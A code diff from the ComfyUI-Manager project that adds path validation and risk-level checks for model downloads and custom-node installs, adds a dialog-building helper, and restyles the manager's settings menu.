@@ -135,7 +120,6 @@ def initialize_environment():
|
||||
# manager_util.comfyui_manager_path, "extension-node-map.json"
|
||||
# )
|
||||
|
||||
set_preview_method(core.get_config()["preview_method"])
|
||||
print_comfyui_version()
|
||||
setup_environment()
|
||||
|
||||
|
||||
@@ -17,6 +17,25 @@ def get_model_dir(data, show_log=False):
|
||||
if any(char in data["filename"] for char in {"/", "\\", ":"}):
|
||||
return None
|
||||
|
||||
def resolve_custom_node(save_path):
|
||||
save_path = save_path[13:] # remove 'custom_nodes/'
|
||||
|
||||
# NOTE: Validate to prevent path traversal.
|
||||
if save_path.startswith(os.path.sep) or ":" in save_path:
|
||||
return None
|
||||
|
||||
repo_name = save_path.replace("\\", "/").split("/")[
|
||||
0
|
||||
] # get custom node repo name
|
||||
|
||||
# NOTE: The creation of files within the custom node path should be removed in the future.
|
||||
repo_path = core.lookup_installed_custom_nodes_legacy(repo_name)
|
||||
if repo_path is not None and repo_path[0]:
|
||||
# Returns the retargeted path based on the actually installed repository
|
||||
return os.path.join(os.path.dirname(repo_path[1]), save_path)
|
||||
else:
|
||||
return None
|
||||
|
||||
if data["save_path"] != "default":
|
||||
if ".." in data["save_path"] or data["save_path"].startswith("/"):
|
||||
if show_log:
|
||||
@@ -26,8 +45,13 @@ def get_model_dir(data, show_log=False):
|
||||
base_model = os.path.join(models_base, "etc")
|
||||
else:
|
||||
if data["save_path"].startswith("custom_nodes"):
|
||||
logging.warning("The feature to download models into the custom node path is no longer supported.")
|
||||
return None
|
||||
base_model = resolve_custom_node(data["save_path"])
|
||||
if base_model is None:
|
||||
if show_log:
|
||||
logging.info(
|
||||
f"[ComfyUI-Manager] The target custom node for model download is not installed: {data['save_path']}"
|
||||
)
|
||||
return None
|
||||
else:
|
||||
base_model = os.path.join(models_base, data["save_path"])
|
||||
else:
|
||||
|
||||
@@ -0,0 +1,65 @@
|
||||
import concurrent.futures
|
||||
|
||||
from comfyui_manager.glob import manager_core as core
|
||||
|
||||
|
||||
def check_state_of_git_node_pack(
|
||||
node_packs, do_fetch=False, do_update_check=True, do_update=False
|
||||
):
|
||||
if do_fetch:
|
||||
print("Start fetching...", end="")
|
||||
elif do_update:
|
||||
print("Start updating...", end="")
|
||||
elif do_update_check:
|
||||
print("Start update check...", end="")
|
||||
|
||||
def process_custom_node(item):
|
||||
core.check_state_of_git_node_pack_single(
|
||||
item, do_fetch, do_update_check, do_update
|
||||
)
|
||||
|
||||
with concurrent.futures.ThreadPoolExecutor(4) as executor:
|
||||
for k, v in node_packs.items():
|
||||
if v.get("active_version") in ["unknown", "nightly"]:
|
||||
executor.submit(process_custom_node, v)
|
||||
|
||||
if do_fetch:
|
||||
print("\x1b[2K\rFetching done.")
|
||||
elif do_update:
|
||||
update_exists = any(
|
||||
item.get("updatable", False) for item in node_packs.values()
|
||||
)
|
||||
if update_exists:
|
||||
print("\x1b[2K\rUpdate done.")
|
||||
else:
|
||||
print("\x1b[2K\rAll extensions are already up-to-date.")
|
||||
elif do_update_check:
|
||||
print("\x1b[2K\rUpdate check done.")
|
||||
|
||||
|
||||
def nickname_filter(json_obj):
|
||||
preemptions_map = {}
|
||||
|
||||
for k, x in json_obj.items():
|
||||
if "preemptions" in x[1]:
|
||||
for y in x[1]["preemptions"]:
|
||||
preemptions_map[y] = k
|
||||
elif k.endswith("/ComfyUI"):
|
||||
for y in x[0]:
|
||||
preemptions_map[y] = k
|
||||
|
||||
updates = {}
|
||||
for k, x in json_obj.items():
|
||||
removes = set()
|
||||
for y in x[0]:
|
||||
k2 = preemptions_map.get(y)
|
||||
if k2 is not None and k != k2:
|
||||
removes.add(y)
|
||||
|
||||
if len(removes) > 0:
|
||||
updates[k] = [y for y in x[0] if y not in removes]
|
||||
|
||||
for k, v in updates.items():
|
||||
json_obj[k][0] = v
|
||||
|
||||
return json_obj
|
||||
@@ -1,14 +1,14 @@
|
||||
from comfyui_manager.glob import manager_core as core
|
||||
from comfy.cli_args import args
|
||||
from comfyui_manager.data_models import SecurityLevel, RiskLevel
|
||||
from comfyui_manager.data_models import SecurityLevel, RiskLevel, ManagerDatabaseSource
|
||||
from comfyui_manager.common.manager_security import (
|
||||
is_loopback,
|
||||
is_safe_path_target,
|
||||
get_safe_file_path,
|
||||
)
|
||||
|
||||
|
||||
def is_loopback(address):
|
||||
import ipaddress
|
||||
try:
|
||||
return ipaddress.ip_address(address).is_loopback
|
||||
except ValueError:
|
||||
return False
|
||||
# Re-export for backward compatibility
|
||||
__all__ = ['is_loopback', 'is_safe_path_target', 'get_safe_file_path', 'is_allowed_security_level', 'get_risky_level']
|
||||
|
||||
|
||||
def is_allowed_security_level(level):
|
||||
@@ -38,3 +38,30 @@ def is_allowed_security_level(level):
|
||||
return core.get_config()['security_level'] in [SecurityLevel.weak.value, SecurityLevel.normal.value, SecurityLevel.normal_.value]
|
||||
else:
|
||||
return True
|
||||
|
||||
|
||||
async def get_risky_level(files, pip_packages):
|
||||
json_data1 = await core.get_data_by_mode(ManagerDatabaseSource.local.value, "custom-node-list.json")
|
||||
json_data2 = await core.get_data_by_mode(
|
||||
ManagerDatabaseSource.cache.value,
|
||||
"custom-node-list.json",
|
||||
channel_url="https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main",
|
||||
)
|
||||
|
||||
all_urls = set()
|
||||
for x in json_data1["custom_nodes"] + json_data2["custom_nodes"]:
|
||||
all_urls.update(x.get("files", []))
|
||||
|
||||
for x in files:
|
||||
if x not in all_urls:
|
||||
return RiskLevel.high_.value
|
||||
|
||||
all_pip_packages = set()
|
||||
for x in json_data1["custom_nodes"] + json_data2["custom_nodes"]:
|
||||
all_pip_packages.update(x.get("pip", []))
|
||||
|
||||
for p in pip_packages:
|
||||
if p not in all_pip_packages:
|
||||
return RiskLevel.block.value
|
||||
|
||||
return RiskLevel.middle_.value
|
||||
|
||||
@@ -13,7 +13,7 @@ This directory contains the JavaScript frontend implementation for ComfyUI-Manag
|
||||
## Sharing Components
|
||||
|
||||
- **comfyui-share-common.js**: Base functionality for workflow sharing features.
|
||||
- **comfyui-share-copus.js**: Integration with the ComfyUI Opus sharing platform.
|
||||
- **comfyui-share-copus.js**: Integration with the ComfyUI Copus sharing platform.
|
||||
- **comfyui-share-openart.js**: Integration with the OpenArt sharing platform.
|
||||
- **comfyui-share-youml.js**: Integration with the YouML sharing platform.
|
||||
|
||||
@@ -47,4 +47,4 @@ CSS files are included for specific components:
|
||||
- **custom-nodes-manager.css**: Styling for the node management UI
|
||||
- **model-manager.css**: Styling for the model management UI
|
||||
|
||||
This frontend implementation provides a comprehensive yet user-friendly interface for managing the ComfyUI ecosystem.
|
||||
This frontend implementation provides a comprehensive yet user-friendly interface for managing the ComfyUI ecosystem.
|
||||
|
||||
@@ -0,0 +1,227 @@
|
||||
import { $el } from "../../scripts/ui.js";
|
||||
|
||||
function normalizeContent(content) {
|
||||
const tmp = document.createElement('div');
|
||||
if (typeof content === 'string') {
|
||||
tmp.innerHTML = content;
|
||||
return Array.from(tmp.childNodes);
|
||||
}
|
||||
if (content instanceof Node) {
|
||||
return content;
|
||||
}
|
||||
return content;
|
||||
}
|
||||
|
||||
export function createSettingsCombo(label, content) {
|
||||
const settingItem = $el("div.setting-item", {}, [
|
||||
$el("div.flex.flex-row.items-center.gap-2",[
|
||||
$el("div.form-label.flex.grow.items-center", [
|
||||
$el("span.text-muted", { textContent: label },)
|
||||
]),
|
||||
$el("div.form-input.flex.justify-end",
|
||||
[content]
|
||||
)
|
||||
]
|
||||
)
|
||||
]);
|
||||
return settingItem;
|
||||
}
|
||||
|
||||
export function buildGuiFrame(dialogId, title, iconClass, content, owner) {
|
||||
const dialog_mask = $el("div.p-dialog-mask.p-overlay-mask.p-overlay-mask-enter", {
|
||||
parent: document.body,
|
||||
style: {
|
||||
position: "fixed",
|
||||
height: "100%",
|
||||
width: "100%",
|
||||
left: "0px",
|
||||
top: "0px",
|
||||
display: "flex",
|
||||
justifyContent: "center",
|
||||
alignItems: "center",
|
||||
pointerEvents: "auto",
|
||||
zIndex: "1000"
|
||||
},
|
||||
onclick: (e) => {
|
||||
if (e.target === dialog_mask) {
|
||||
owner.close();
|
||||
}
|
||||
}
|
||||
// data-pc-section="mask"
|
||||
});
|
||||
|
||||
const header_actions = $el("div.p-dialog-header-actions", {
|
||||
// [TODO]
|
||||
// data-pc-section="headeractions"
|
||||
}
|
||||
);
|
||||
|
||||
const close_button = $el("button.p-button.p-component.p-button-icon-only.p-button-secondary.p-button-rounded.p-button-text.p-dialog-close-button", {
|
||||
parent: header_actions,
|
||||
type: "button",
|
||||
ariaLabel: "Close",
|
||||
onclick: () => owner.close(),
|
||||
// "data-pc-name": "pcclosebutton",
|
||||
// "data-p-disabled": "false",
|
||||
// "data-p-severity": "secondary",
|
||||
// "data-pc-group-section": "headericon",
|
||||
// "data-pc-extend": "button",
|
||||
// "data-pc-section": "root",
|
||||
// [FIXME] Not sure how to do most of the SVG using $el
|
||||
innerHTML: '<svg width="14" height="14" viewBox="0 0 14 14" fill="none" xmlns="http://www.w3.org/2000/svg" class="p-icon p-button-icon" aria-hidden="true"><path d="M8.01186 7.00933L12.27 2.75116C12.341 2.68501 12.398 2.60524 12.4375 2.51661C12.4769 2.42798 12.4982 2.3323 12.4999 2.23529C12.5016 2.13827 12.4838 2.0419 12.4474 1.95194C12.4111 1.86197 12.357 1.78024 12.2884 1.71163C12.2198 1.64302 12.138 1.58893 12.0481 1.55259C11.9581 1.51625 11.8617 1.4984 11.7647 1.50011C11.6677 1.50182 11.572 1.52306 11.4834 1.56255C11.3948 1.60204 11.315 1.65898 11.2488 1.72997L6.99067 5.98814L2.7325 1.72997C2.59553 1.60234 2.41437 1.53286 2.22718 1.53616C2.03999 1.53946 1.8614 1.61529 1.72901 1.74767C1.59663 1.88006 1.5208 2.05865 1.5175 2.24584C1.5142 2.43303 1.58368 2.61419 1.71131 2.75116L5.96948 7.00933L1.71131 11.2675C1.576 11.403 1.5 11.5866 1.5 11.7781C1.5 11.9696 1.576 12.1532 1.71131 12.2887C1.84679 12.424 2.03043 12.5 2.2219 12.5C2.41338 12.5 2.59702 12.424 2.7325 12.2887L6.99067 8.03052L11.2488 12.2887C11.3843 12.424 11.568 12.5 11.7594 12.5C11.9509 12.5 12.1346 12.424 12.27 12.2887C12.4053 12.1532 12.4813 11.9696 12.4813 11.7781C12.4813 11.5866 12.4053 11.403 12.27 11.2675L8.01186 7.00933Z" fill="currentColor"></path></svg><span class="p-button-label" data-pc-section="label"> </span><!---->'
|
||||
}
|
||||
);
|
||||
|
||||
const dialog_header = $el("div.p-dialog-header",
|
||||
[
|
||||
$el("div", [
|
||||
$el("div",
|
||||
{
|
||||
id: "frame-title-container",
|
||||
},
|
||||
[
|
||||
$el("h2.px-4", [
|
||||
$el(iconClass, {
|
||||
style: {
|
||||
"font-size": "1.25rem",
|
||||
"margin-right": ".5rem"
|
||||
}
|
||||
}),
|
||||
$el("span", { textContent: title })
|
||||
])
|
||||
]
|
||||
)
|
||||
]),
|
||||
header_actions
|
||||
]
|
||||
);
|
||||
|
||||
const contentFrame = $el("div.p-dialog-content", {}, normalizeContent(content));
|
||||
const manager_dialog = $el("div.p-dialog.p-component.global-dialog", {
|
||||
id: dialogId,
|
||||
parent: dialog_mask,
|
||||
style: {
|
||||
'display': 'flex',
|
||||
'flex-direction': 'column',
|
||||
'pointer-events': 'auto',
|
||||
'margin': '0px',
|
||||
},
|
||||
role: 'dialog',
|
||||
ariaModal: 'true',
|
||||
// [TODO]
|
||||
// ariaLabbelledby: 'cm-title',
|
||||
// maximized: 'false',
|
||||
// data-pc-name: 'dialog',
|
||||
// data-pc-section: 'root',
|
||||
// data-pd-focustrap: 'true'
|
||||
},
|
||||
[ dialog_header, contentFrame ]
|
||||
);
|
||||
|
||||
const hidden_accessible = $el("span.p-hidden-accessible.p-hidden-focusable", {
|
||||
parent: manager_dialog,
|
||||
tabindex: "0",
|
||||
role: "presentation",
|
||||
ariaHidden: "true",
|
||||
"data-p-hidden-accessible": "true",
|
||||
"data-p-hidden-focusable": "true",
|
||||
"data-pc-section": "firstfocusableelement"
|
||||
});
|
||||
|
||||
return dialog_mask;
|
||||
}
|
||||
|
||||
export function buildGuiFrameCustomHeader(dialogId, customHeader, content, owner) {
|
||||
const dialog_mask = $el("div.p-dialog-mask.p-overlay-mask.p-overlay-mask-enter", {
|
||||
parent: document.body,
|
||||
style: {
|
||||
position: "fixed",
|
||||
height: "100%",
|
||||
width: "100%",
|
||||
left: "0px",
|
||||
top: "0px",
|
||||
display: "flex",
|
||||
justifyContent: "center",
|
||||
alignItems: "center",
|
||||
pointerEvents: "auto",
|
||||
zIndex: "1000"
|
||||
},
|
||||
onclick: (e) => {
|
||||
if (e.target === dialog_mask) {
|
||||
owner.close();
|
||||
}
|
||||
}
|
||||
// data-pc-section="mask"
|
||||
});
|
||||
|
||||
const header_actions = $el("div.p-dialog-header-actions", {
|
||||
// [TODO]
|
||||
// data-pc-section="headeractions"
|
||||
}
|
||||
);
|
||||
|
||||
const close_button = $el("button.p-button.p-component.p-button-icon-only.p-button-secondary.p-button-rounded.p-button-text.p-dialog-close-button", {
|
||||
parent: header_actions,
|
||||
type: "button",
|
||||
ariaLabel: "Close",
|
||||
onclick: () => owner.close(),
|
||||
// "data-pc-name": "pcclosebutton",
|
||||
// "data-p-disabled": "false",
|
||||
// "data-p-severity": "secondary",
|
||||
// "data-pc-group-section": "headericon",
|
||||
// "data-pc-extend": "button",
|
||||
// "data-pc-section": "root",
|
||||
// [FIXME] Not sure how to do most of the SVG using $el
|
||||
innerHTML: '<svg width="14" height="14" viewBox="0 0 14 14" fill="none" xmlns="http://www.w3.org/2000/svg" class="p-icon p-button-icon" aria-hidden="true"><path d="M8.01186 7.00933L12.27 2.75116C12.341 2.68501 12.398 2.60524 12.4375 2.51661C12.4769 2.42798 12.4982 2.3323 12.4999 2.23529C12.5016 2.13827 12.4838 2.0419 12.4474 1.95194C12.4111 1.86197 12.357 1.78024 12.2884 1.71163C12.2198 1.64302 12.138 1.58893 12.0481 1.55259C11.9581 1.51625 11.8617 1.4984 11.7647 1.50011C11.6677 1.50182 11.572 1.52306 11.4834 1.56255C11.3948 1.60204 11.315 1.65898 11.2488 1.72997L6.99067 5.98814L2.7325 1.72997C2.59553 1.60234 2.41437 1.53286 2.22718 1.53616C2.03999 1.53946 1.8614 1.61529 1.72901 1.74767C1.59663 1.88006 1.5208 2.05865 1.5175 2.24584C1.5142 2.43303 1.58368 2.61419 1.71131 2.75116L5.96948 7.00933L1.71131 11.2675C1.576 11.403 1.5 11.5866 1.5 11.7781C1.5 11.9696 1.576 12.1532 1.71131 12.2887C1.84679 12.424 2.03043 12.5 2.2219 12.5C2.41338 12.5 2.59702 12.424 2.7325 12.2887L6.99067 8.03052L11.2488 12.2887C11.3843 12.424 11.568 12.5 11.7594 12.5C11.9509 12.5 12.1346 12.424 12.27 12.2887C12.4053 12.1532 12.4813 11.9696 12.4813 11.7781C12.4813 11.5866 12.4053 11.403 12.27 11.2675L8.01186 7.00933Z" fill="currentColor"></path></svg><span class="p-button-label" data-pc-section="label"> </span><!---->'
|
||||
}
|
||||
);
|
||||
|
||||
const _customHeader = normalizeContent(customHeader);
|
||||
const dialog_header = $el("div.p-dialog-header",
|
||||
[
|
||||
$el("div", [
|
||||
$el("div",
|
||||
{
|
||||
id: "frame-title-container",
|
||||
},
|
||||
Array.isArray(_customHeader) ? _customHeader : [_customHeader]
|
||||
)
|
||||
]),
|
||||
header_actions
|
||||
]
|
||||
);
|
||||
|
||||
const contentFrame = $el("div.p-dialog-content", {}, normalizeContent(content));
|
||||
const manager_dialog = $el("div.p-dialog.p-component.global-dialog", {
|
||||
id: dialogId,
|
||||
parent: dialog_mask,
|
||||
style: {
|
||||
'display': 'flex',
|
||||
'flex-direction': 'column',
|
||||
'pointer-events': 'auto',
|
||||
'margin': '0px',
|
||||
},
|
||||
role: 'dialog',
|
||||
ariaModal: 'true',
|
||||
// [TODO]
|
||||
// ariaLabbelledby: 'cm-title',
|
||||
// maximized: 'false',
|
||||
// data-pc-name: 'dialog',
|
||||
// data-pc-section: 'root',
|
||||
// data-pd-focustrap: 'true'
|
||||
},
|
||||
[ dialog_header, contentFrame ]
|
||||
);
|
||||
|
||||
const hidden_accessible = $el("span.p-hidden-accessible.p-hidden-focusable", {
|
||||
parent: manager_dialog,
|
||||
tabindex: "0",
|
||||
role: "presentation",
|
||||
ariaHidden: "true",
|
||||
"data-p-hidden-accessible": "true",
|
||||
"data-p-hidden-focusable": "true",
|
||||
"data-pc-section": "firstfocusableelement"
|
||||
});
|
||||
|
||||
return dialog_mask;
|
||||
}
|
||||
@@ -16,10 +16,10 @@ import {
|
||||
rebootAPI, setManagerInstance, show_message, customAlert, customPrompt,
|
||||
infoToast, showTerminal, setNeedRestart, generateUUID
|
||||
} from "./common.js";
|
||||
import { ComponentBuilderDialog, load_components, set_component_policy } from "./components-manager.js";
|
||||
import { CustomNodesManager } from "./custom-nodes-manager.js";
|
||||
import { ModelManager } from "./model-manager.js";
|
||||
import { SnapshotManager } from "./snapshot.js";
|
||||
import { buildGuiFrame, createSettingsCombo } from "./comfyui-gui-builder.js";
|
||||
|
||||
let manager_version = await getVersion();
|
||||
|
||||
@@ -44,12 +44,16 @@ docStyle.innerHTML = `
|
||||
|
||||
#cm-manager-dialog {
|
||||
width: 1000px;
|
||||
height: 455px;
|
||||
height: auto;
|
||||
box-sizing: content-box;
|
||||
z-index: 1000;
|
||||
overflow-y: auto;
|
||||
}
|
||||
|
||||
#cm-manager-dialog br {
|
||||
margin-bottom: 1em;
|
||||
}
|
||||
|
||||
.cb-widget {
|
||||
width: 400px;
|
||||
height: 25px;
|
||||
@@ -80,6 +84,7 @@ docStyle.innerHTML = `
|
||||
}
|
||||
|
||||
.cm-menu-container {
|
||||
padding : calc(var(--spacing)*2);
|
||||
column-gap: 20px;
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
@@ -140,8 +145,8 @@ docStyle.innerHTML = `
|
||||
}
|
||||
|
||||
.cm-notice-board {
|
||||
width: 290px;
|
||||
height: 230px;
|
||||
width: auto;
|
||||
height: 280px;
|
||||
overflow: auto;
|
||||
color: var(--input-text);
|
||||
border: 1px solid var(--descrip-text);
|
||||
@@ -237,68 +242,50 @@ var batch_id = null;
|
||||
// copied style from https://github.com/pythongosssss/ComfyUI-Custom-Scripts
|
||||
const style = `
|
||||
#workflowgallery-button {
|
||||
width: 310px;
|
||||
height: 27px;
|
||||
height: 50px;
|
||||
padding: 0px !important;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
font-size: 17px !important;
|
||||
}
|
||||
#cm-nodeinfo-button {
|
||||
width: 310px;
|
||||
height: 27px;
|
||||
padding: 0px !important;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
font-size: 17px !important;
|
||||
|
||||
}
|
||||
#cm-manual-button {
|
||||
width: 310px;
|
||||
height: 27px;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
|
||||
}
|
||||
|
||||
.cm-button {
|
||||
width: 310px;
|
||||
height: 30px;
|
||||
width: auto;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
font-size: 17px !important;
|
||||
background-color: var(--comfy-menu-secondary-bg);
|
||||
border-color: var(--border-color);
|
||||
color: var(--input-text);
|
||||
}
|
||||
|
||||
.cm-button:hover {
|
||||
filter: brightness(125%);
|
||||
}
|
||||
|
||||
.cm-button-red {
|
||||
width: 310px;
|
||||
height: 30px;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
font-size: 17px !important;
|
||||
background-color: #500000 !important;
|
||||
border-color: #88181b !important;
|
||||
color: white !important;
|
||||
}
|
||||
|
||||
.cm-button-red:hover {
|
||||
background-color: #88181b !important;
|
||||
}
|
||||
|
||||
.cm-button-orange {
|
||||
width: 310px;
|
||||
height: 30px;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
font-size: 17px !important;
|
||||
font-weight: bold;
|
||||
background-color: orange !important;
|
||||
color: black !important;
|
||||
}
|
||||
|
||||
.cm-experimental-button {
|
||||
width: 290px;
|
||||
height: 30px;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
font-size: 17px !important;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.cm-experimental {
|
||||
width: 310px;
|
||||
border: 1px solid #555;
|
||||
border-radius: 5px;
|
||||
padding: 10px;
|
||||
@@ -325,8 +312,14 @@ const style = `
|
||||
|
||||
.cm-menu-combo {
|
||||
cursor: pointer;
|
||||
width: 310px;
|
||||
box-sizing: border-box;
|
||||
padding: 0.5em 0.5em;
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 6px;
|
||||
background: var(--comfy-menu-secondary-bg);
|
||||
}
|
||||
|
||||
.cm-menu-combo:hover {
|
||||
filter: brightness(125%);
|
||||
}
|
||||
|
||||
.cm-small-button {
|
||||
@@ -816,7 +809,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
const isElectron = 'electronAPI' in window;
|
||||
|
||||
update_comfyui_button =
|
||||
$el("button.cm-button", {
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
type: "button",
|
||||
textContent: "Update ComfyUI",
|
||||
style: {
|
||||
@@ -827,7 +820,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
});
|
||||
|
||||
switch_comfyui_button =
|
||||
$el("button.cm-button", {
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
type: "button",
|
||||
textContent: "Switch ComfyUI",
|
||||
style: {
|
||||
@@ -838,7 +831,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
});
|
||||
|
||||
restart_stop_button =
|
||||
$el("button.cm-button-red", {
|
||||
$el("button.p-button.p-component.cm-button-red", {
|
||||
type: "button",
|
||||
textContent: "Restart",
|
||||
onclick: () => restartOrStop()
|
||||
@@ -846,7 +839,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
|
||||
if(isElectron) {
|
||||
update_all_button =
|
||||
$el("button.cm-button", {
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
type: "button",
|
||||
textContent: "Update All Custom Nodes",
|
||||
onclick:
|
||||
@@ -855,7 +848,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}
|
||||
else {
|
||||
update_all_button =
|
||||
$el("button.cm-button", {
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
type: "button",
|
||||
textContent: "Update All",
|
||||
onclick:
|
||||
@@ -865,7 +858,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
|
||||
const res =
|
||||
[
|
||||
$el("button.cm-button", {
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
type: "button",
|
||||
textContent: "Custom Nodes Manager",
|
||||
onclick:
|
||||
@@ -877,7 +870,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}
|
||||
}),
|
||||
|
||||
$el("button.cm-button", {
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
type: "button",
|
||||
textContent: "Install Missing Custom Nodes",
|
||||
onclick:
|
||||
@@ -889,7 +882,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}
|
||||
}),
|
||||
|
||||
$el("button.cm-button", {
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
type: "button",
|
||||
textContent: "Custom Nodes In Workflow",
|
||||
onclick:
|
||||
@@ -901,8 +894,8 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}
|
||||
}),
|
||||
|
||||
$el("br", {}, []),
|
||||
$el("button.cm-button", {
|
||||
$el("div", {}, []),
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
type: "button",
|
||||
textContent: "Model Manager",
|
||||
onclick:
|
||||
@@ -914,7 +907,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}
|
||||
}),
|
||||
|
||||
$el("button.cm-button", {
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
type: "button",
|
||||
textContent: "Install via Git URL",
|
||||
onclick: async () => {
|
||||
@@ -926,13 +919,13 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}
|
||||
}),
|
||||
|
||||
$el("br", {}, []),
|
||||
$el("div", {}, []),
|
||||
update_all_button,
|
||||
update_comfyui_button,
|
||||
switch_comfyui_button,
|
||||
// fetch_updates_button,
|
||||
|
||||
$el("br", {}, []),
|
||||
$el("div", {}, []),
|
||||
restart_stop_button,
|
||||
];
|
||||
|
||||
@@ -945,12 +938,13 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
let self = this;
|
||||
|
||||
// db mode
|
||||
|
||||
this.datasrc_combo = document.createElement("select");
|
||||
this.datasrc_combo.setAttribute("title", "Configure where to retrieve node/model information. If set to 'local,' the channel is ignored, and if set to 'channel (remote),' it fetches the latest information each time the list is opened.");
|
||||
this.datasrc_combo.className = "cm-menu-combo";
|
||||
this.datasrc_combo.appendChild($el('option', { value: 'cache', text: 'DB: Channel (1day cache)' }, []));
|
||||
this.datasrc_combo.appendChild($el('option', { value: 'local', text: 'DB: Local' }, []));
|
||||
this.datasrc_combo.appendChild($el('option', { value: 'remote', text: 'DB: Channel (remote)' }, []));
|
||||
this.datasrc_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled ";
|
||||
this.datasrc_combo.appendChild($el('option', { value: 'cache', text: 'Channel (1day cache)' }, []));
|
||||
this.datasrc_combo.appendChild($el('option', { value: 'local', text: 'Local' }, []));
|
||||
this.datasrc_combo.appendChild($el('option', { value: 'remote', text: 'Channel (remote)' }, []));
|
||||
|
||||
api.fetchApi('/v2/manager/db_mode')
|
||||
.then(response => response.text())
|
||||
@@ -960,27 +954,12 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
api.fetchApi(`/v2/manager/db_mode?value=${event.target.value}`);
|
||||
});
|
||||
|
||||
// preview method
|
||||
let preview_combo = document.createElement("select");
|
||||
preview_combo.setAttribute("title", "Configure how latent variables will be decoded during preview in the sampling process.");
|
||||
preview_combo.className = "cm-menu-combo";
|
||||
preview_combo.appendChild($el('option', { value: 'auto', text: 'Preview method: Auto' }, []));
|
||||
preview_combo.appendChild($el('option', { value: 'taesd', text: 'Preview method: TAESD (slow)' }, []));
|
||||
preview_combo.appendChild($el('option', { value: 'latent2rgb', text: 'Preview method: Latent2RGB (fast)' }, []));
|
||||
preview_combo.appendChild($el('option', { value: 'none', text: 'Preview method: None (very fast)' }, []));
|
||||
|
||||
api.fetchApi('/v2/manager/preview_method')
|
||||
.then(response => response.text())
|
||||
.then(data => { preview_combo.value = data; });
|
||||
|
||||
preview_combo.addEventListener('change', function (event) {
|
||||
api.fetchApi(`/v2/manager/preview_method?value=${event.target.value}`);
|
||||
});
|
||||
const dbRetrievalSetttingItem = createSettingsCombo("DB", this.datasrc_combo);
|
||||
|
||||
// channel
|
||||
let channel_combo = document.createElement("select");
|
||||
channel_combo.setAttribute("title", "Configure the channel for retrieving data from the Custom Node list (including missing nodes) or the Model list.");
|
||||
channel_combo.className = "cm-menu-combo";
|
||||
channel_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
|
||||
api.fetchApi('/v2/manager/channel_url_list')
|
||||
.then(response => response.json())
|
||||
.then(async data => {
|
||||
@@ -989,7 +968,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
for (let i in urls) {
|
||||
if (urls[i] != '') {
|
||||
let name_url = urls[i].split('::');
|
||||
channel_combo.appendChild($el('option', { value: name_url[0], text: `Channel: ${name_url[0]}` }, []));
|
||||
channel_combo.appendChild($el('option', { value: name_url[0], text: `${name_url[0]}` }, []));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1004,11 +983,13 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}
|
||||
});
|
||||
|
||||
const channelSetttingItem = createSettingsCombo("Channel", channel_combo);
|
||||
|
||||
|
||||
// share
|
||||
let share_combo = document.createElement("select");
|
||||
share_combo.setAttribute("title", "Hide the share button in the main menu or set the default action upon clicking it. Additionally, configure the default share site when sharing via the context menu's share button.");
|
||||
share_combo.className = "cm-menu-combo";
|
||||
share_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
|
||||
const share_options = [
|
||||
['none', 'None'],
|
||||
['openart', 'OpenArt AI'],
|
||||
@@ -1019,7 +1000,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
['all', 'All'],
|
||||
];
|
||||
for (const option of share_options) {
|
||||
share_combo.appendChild($el('option', { value: option[0], text: `Share: ${option[1]}` }, []));
|
||||
share_combo.appendChild($el('option', { value: option[0], text: `${option[1]}` }, []));
|
||||
}
|
||||
|
||||
api.fetchApi('/v2/manager/share_option')
|
||||
@@ -1041,33 +1022,14 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}
|
||||
});
|
||||
|
||||
let component_policy_combo = document.createElement("select");
|
||||
component_policy_combo.setAttribute("title", "When loading the workflow, configure which version of the component to use.");
|
||||
component_policy_combo.className = "cm-menu-combo";
|
||||
component_policy_combo.appendChild($el('option', { value: 'workflow', text: 'Component: Use workflow version' }, []));
|
||||
component_policy_combo.appendChild($el('option', { value: 'higher', text: 'Component: Use higher version' }, []));
|
||||
component_policy_combo.appendChild($el('option', { value: 'mine', text: 'Component: Use my version' }, []));
|
||||
api.fetchApi('/v2/manager/policy/component')
|
||||
.then(response => response.text())
|
||||
.then(data => {
|
||||
component_policy_combo.value = data;
|
||||
set_component_policy(data);
|
||||
});
|
||||
|
||||
component_policy_combo.addEventListener('change', function (event) {
|
||||
api.fetchApi(`/v2/manager/policy/component?value=${event.target.value}`);
|
||||
set_component_policy(event.target.value);
|
||||
});
|
||||
